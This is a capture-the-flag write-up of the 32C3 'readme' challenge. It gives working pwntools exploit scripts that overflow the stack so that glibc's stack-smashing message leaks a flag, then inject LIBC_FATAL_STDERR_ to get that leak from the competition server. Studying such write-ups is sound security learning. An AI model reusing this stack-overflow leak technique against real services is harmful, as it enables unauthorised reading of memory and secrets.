32c3 Readme

Posted by Kokjo on 04 Jan 2016

This is a write-up of the readme challenge from the 32c3 CTF

The Challenge

This was a pwnable binary with with the flag baked into it, which you could see if you ran:

$ strings readme.bin  | grep 32C3
32C3_TheServerHasTheFlagHere...

The flag is located at 0x600d20 in the .data section.

The challenge was very simple, it was a service witch gets your name onto the stack, and then it asks you to over write the flag at 0x600d20

The Solution

First of all the flag is mapped into memory twice, because of how elf works it is also located in read-only memory at 0x400d20 but only the flag in the .data section gets overwritten.

So locally we could get it printed simply by smashing our stack all the way upto argv, and then let _stack_chk_fail print it for us.

from pwn import *

flag_addr = 0x400d20

r = process("./readme.bin")
r.recvuntil("What's your name? ")
r.sendline(p64(flag_addr)*80)
r.sendline("THIS OVERWRITES THE FLAG")
r.recvuntil("*** stack smashing detected ***: ")
log.info("The flag is: %s" % r.recvuntil(" ").strip())

which prints when executed:

$ python doit.py
[+] Starting program './readme.bin': Done
[*] The flag is: 32C3_TheServerHasTheFlagHere...
[*] Program './readme.bin' stopped with exit code -6

however this does not work remotely, this is becuase _stack_chk_fail calls __fortify_fail which calls __lib_message which does this:

void
__libc_message (int do_abort, const char *fmt, ...)
{
  va_list ap; 
  int fd = -1; 

  va_start (ap, fmt);

  /* Open a descriptor for /dev/tty unless the user explicitly
     requests errors on standard error.  */
  const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
  if (on_2 == NULL || *on_2 == '\0')
    fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);

  if (fd == -1) 
    fd = STDERR_FILENO;

  // then prints stuff and crashes
}

which means that we only need to set LIBC_FATAL_STDERR_ and the flag will get printed over stderr instead of /dev/tty.

So this is the final exploit:

from pwn import *

env_addr = 0x600d20
flag_addr = 0x400d20

r = remote("136.243.194.62", 1024)
r.recvuntil("What's your name? ")
r.sendline(p64(flag_addr)*80 + p64(env_addr)*20)
r.sendline("LIBC_FATAL_STDERR_=1")
r.recvuntil("*** stack smashing detected ***: ")
log.info("The flag is: %s" % r.recvuntil(" ").strip())

and we then finally have the flag:

$ python doit.py
[+] Opening connection to 136.243.194.62 on port 1024: Done
[*] The flag is: 32C3_ELF_caN_b3_pre7ty_we!rd...
[*] Closed connection to 136.243.194.62 port 1024